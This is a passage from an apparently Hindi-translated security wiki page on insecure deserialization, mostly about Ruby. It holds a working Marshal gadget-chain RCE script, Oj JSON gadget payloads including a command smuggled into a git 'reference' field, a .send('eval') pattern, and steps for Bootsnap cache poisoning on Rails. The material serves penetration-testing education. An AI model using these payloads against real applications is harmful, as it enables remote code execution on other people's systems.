- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों को इंस्टेंटिएट न करें।
|
||
- **संभावित रूप से जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग करें** ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर न किया जा सके।
|
||
|
||
### **References**
|
||
|
||
- Java और .Net JSON deserialization **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** टॉक: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||
|
||
## **Ruby**
|
||
|
||
Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** के रूप में जाना जाता है, एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए उपयोग की जाती है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, एक बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में परिवर्तित करने के लिए उपयोग की जाती है, जिसे deserialization कहा जाता है।
|
||
|
||
सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:
|
||
|
||
- `config/environment.rb`
|
||
- `config/initializers/secret_token.rb`
|
||
- `config/secrets.yml`
|
||
- `/proc/self/environ`
|
||
|
||
**Ruby 2.X सामान्य deserialization से RCE गैजेट श्रृंखला (अधिक जानकारी के लिए** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||
```ruby
|
||
#!/usr/bin/env ruby
|
||
|
||
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
||
|
||
class Gem::StubSpecification
|
||
def initialize; end
|
||
end
|
||
|
||
|
||
stub_specification = Gem::StubSpecification.new
|
||
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
||
|
||
puts "STEP n"
|
||
stub_specification.name rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Source::SpecificFile
|
||
def initialize; end
|
||
end
|
||
|
||
specific_file = Gem::Source::SpecificFile.new
|
||
specific_file.instance_variable_set(:@spec, stub_specification)
|
||
|
||
other_specific_file = Gem::Source::SpecificFile.new
|
||
|
||
puts "STEP n-1"
|
||
specific_file <=> other_specific_file rescue nil
|
||
puts
|
||
|
||
|
||
$dependency_list= Gem::DependencyList.new
|
||
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
||
|
||
puts "STEP n-2"
|
||
$dependency_list.each{} rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Requirement
|
||
def marshal_dump
|
||
[$dependency_list]
|
||
end
|
||
end
|
||
|
||
payload = Marshal.dump(Gem::Requirement.new)
|
||
|
||
puts "STEP n-3"
|
||
Marshal.load(payload) rescue nil
|
||
puts
|
||
|
||
|
||
puts "VALIDATION (in fresh ruby process):"
|
||
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
||
pipe.print payload
|
||
pipe.close_write
|
||
puts pipe.gets
|
||
puts
|
||
end
|
||
|
||
puts "Payload (hex):"
|
||
puts payload.unpack('H*')[0]
|
||
puts
|
||
|
||
|
||
require "base64"
|
||
puts "Payload (Base64 encoded):"
|
||
puts Base64.encode64(payload)
|
||
```
|
||
अन्य RCE श्रृंखला Ruby On Rails का शोषण करने के लिए: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||
|
||
### Ruby .send() विधि
|
||
|
||
जैसा कि [**इस सुरक्षा रिपोर्ट**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) में समझाया गया है, यदि कुछ उपयोगकर्ता का असंसाधित इनपुट एक ruby ऑब्जेक्ट की `.send()` विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ **आमंत्रित** करने की अनुमति देती है।
|
||
|
||
उदाहरण के लिए, eval को कॉल करना और फिर ruby कोड को दूसरे पैरामीटर के रूप में देना मनमाने कोड को निष्पादित करने की अनुमति देगा:
|
||
```ruby
|
||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||
```
|
||
इसके अलावा, यदि **`.send()`** का केवल एक पैरामीटर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
|
||
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स को पाया जा सके**।
|
||
```ruby
|
||
<Object>.send('<user_input>')
|
||
|
||
# This code is taken from the original blog post
|
||
# <Object> in this case is Repository
|
||
## Find methods with those requirements
|
||
repo = Repository.find(1) # get first repo
|
||
repo_methods = [ # get names of all methods accessible by Repository object
|
||
repo.public_methods(),
|
||
repo.private_methods(),
|
||
repo.protected_methods(),
|
||
].flatten()
|
||
|
||
repo_methods.length() # Initial number of methods => 5542
|
||
|
||
## Filter by the arguments requirements
|
||
candidate_methods = repo_methods.select() do |method_name|
|
||
[0, -1].include?(repo.method(method_name).arity())
|
||
end
|
||
candidate_methods.length() # Final number of methods=> 3595
|
||
```
|
||
### Ruby class pollution
|
||
|
||
जांचें कि [कैसे एक Ruby क्लास को प्रदूषित करना और इसका दुरुपयोग करना संभव हो सकता है](ruby-class-pollution.md)।
|
||
|
||
### Ruby _json pollution
|
||
|
||
जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए यह भी संभव है कि वह शरीर में `_json` नामक एक मान सेट करे जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||
|
||
अधिक जानकारी के लिए [Ruby _json pollution पृष्ठ](ruby-_json-pollution.md) पर जांचें।
|
||
|
||
### Other libraries
|
||
|
||
यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी।
|
||
|
||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें वे लोड की गई पुस्तकालय के भीतर अनसीरियलाइज होने पर कॉल करते हैं (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||
|
||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||
|
||
Basic example:
|
||
```ruby
|
||
# Existing Ruby class inside the code of the app
|
||
class SimpleClass
|
||
def initialize(cmd)
|
||
@cmd = cmd
|
||
end
|
||
|
||
def hash
|
||
system(@cmd)
|
||
end
|
||
end
|
||
|
||
# Exploit
|
||
require 'oj'
|
||
simple = SimpleClass.new("open -a calculator") # command for macOS
|
||
json_payload = Oj.dump(simple)
|
||
puts json_payload
|
||
|
||
# Sink vulnerable inside the code accepting user input as json_payload
|
||
Oj.load(json_payload)
|
||
```
|
||
Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ deserialization कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।
|
||
```json
|
||
{
|
||
"^o": "URI::HTTP",
|
||
"scheme": "s3",
|
||
"host": "example.org/anyurl?",
|
||
"port": "anyport",
|
||
"path": "/",
|
||
"user": "anyuser",
|
||
"password": "anypw"
|
||
}
|
||
```
|
||
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो एक अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह से पूर्ण RCE में परिवर्तित किया जा सके:
|
||
```json
|
||
{
|
||
"^o": "Gem::Resolver::SpecSpecification",
|
||
"spec": {
|
||
"^o": "Gem::Resolver::GitSpecification",
|
||
"source": {
|
||
"^o": "Gem::Source::Git",
|
||
"git": "zip",
|
||
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
|
||
"root_dir": "/tmp",
|
||
"repository": "anyrepo",
|
||
"name": "anyname"
|
||
},
|
||
"spec": {
|
||
"^o": "Gem::Resolver::Specification",
|
||
"name": "name",
|
||
"dependencies": []
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||
|
||
### Bootstrap Caching
|
||
|
||
यह वास्तव में एक deserialization vuln नहीं है, लेकिन एक अच्छा ट्रिक है bootstrap caching का दुरुपयोग करने के लिए RCE प्राप्त करने के लिए एक rails एप्लिकेशन से एक मनमाने फ़ाइल लेखन के साथ (पूर्ण [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) देखें)।
|
||
|
||
नीचे उन चरणों का संक्षिप्त सारांश है जो लेख में एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए Bootsnap caching का दुरुपयोग करने के लिए विस्तृत हैं:
|
||
|
||
- Identify the Vulnerability and Environment
|
||
|
||
Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp लिखने योग्य हैं क्योंकि Docker का नॉन-रूट उपयोगकर्ता है), यह अभी भी Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
|
||
|
||
- Understand Bootsnap’s Cache Mechanism
|
||
|
||
Bootsnap Rails बूट समय को संकलित Ruby कोड, YAML, और JSON फ़ाइलों को कैश करके तेज करता है। यह कैश फ़ाइलें संग्रहीत करता है जिनमें एक कैश कुंजी हेडर होता है (जैसे Ruby संस्करण, फ़ाइल आकार, mtime, संकलन विकल्प, आदि के साथ फ़ील्ड) उसके बाद संकलित कोड होता है। इस हेडर का उपयोग ऐप स्टार्टअप के दौरान कैश को मान्य करने के लिए किया जाता है।
|
||
|
||
- Gather File Metadata
|
||
|
||
हमलावर पहले एक लक्षित फ़ाइल का चयन करता है जो संभवतः Rails स्टार्टअप के दौरान लोड होती है (उदाहरण के लिए, Ruby के मानक पुस्तकालय से set.rb)। कंटेनर के अंदर Ruby कोड निष्पादित करके, वे महत्वपूर्ण मेटाडेटा (जैसे RUBY_VERSION, RUBY_REVISION, आकार, mtime, और compile_option) निकालते हैं। यह डेटा एक मान्य कैश कुंजी बनाने के लिए आवश्यक है।
|
||
|
||
- Compute the Cache File Path
|
||
|
||
Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल करके, सही कैश फ़ाइल पथ निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि दुर्भावनापूर्ण कैश फ़ाइल ठीक उसी स्थान पर रखी गई है जहाँ Bootsnap इसे अपेक्षित करता है (जैसे, tmp/cache/bootsnap/compile-cache-iseq/ के तहत)।
|
||
|
||
- Craft the Malicious Cache File
|
||
|
||
हमलावर एक पेलोड तैयार करता है जो:
|
||
|
||
- मनमाने आदेशों को निष्पादित करता है (उदाहरण के लिए, प्रक्रिया जानकारी दिखाने के लिए id चलाना)।
|
||
- निष्पादन के बाद दुर्भावनापूर्ण कैश को हटा देता है ताकि पुनरावृत्त शोषण को रोका जा सके।
|
||
- एप्लिकेशन को क्रैश करने से बचाने के लिए मूल फ़ाइल (जैसे, set.rb) को लोड करता है।
|
||
|
||
यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में एकत्रित मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।
|
||
|
||
- Overwrite and Trigger Execution
|
||
मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर तैयार की गई कैश फ़ाइल को गणना की गई स्थान पर लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|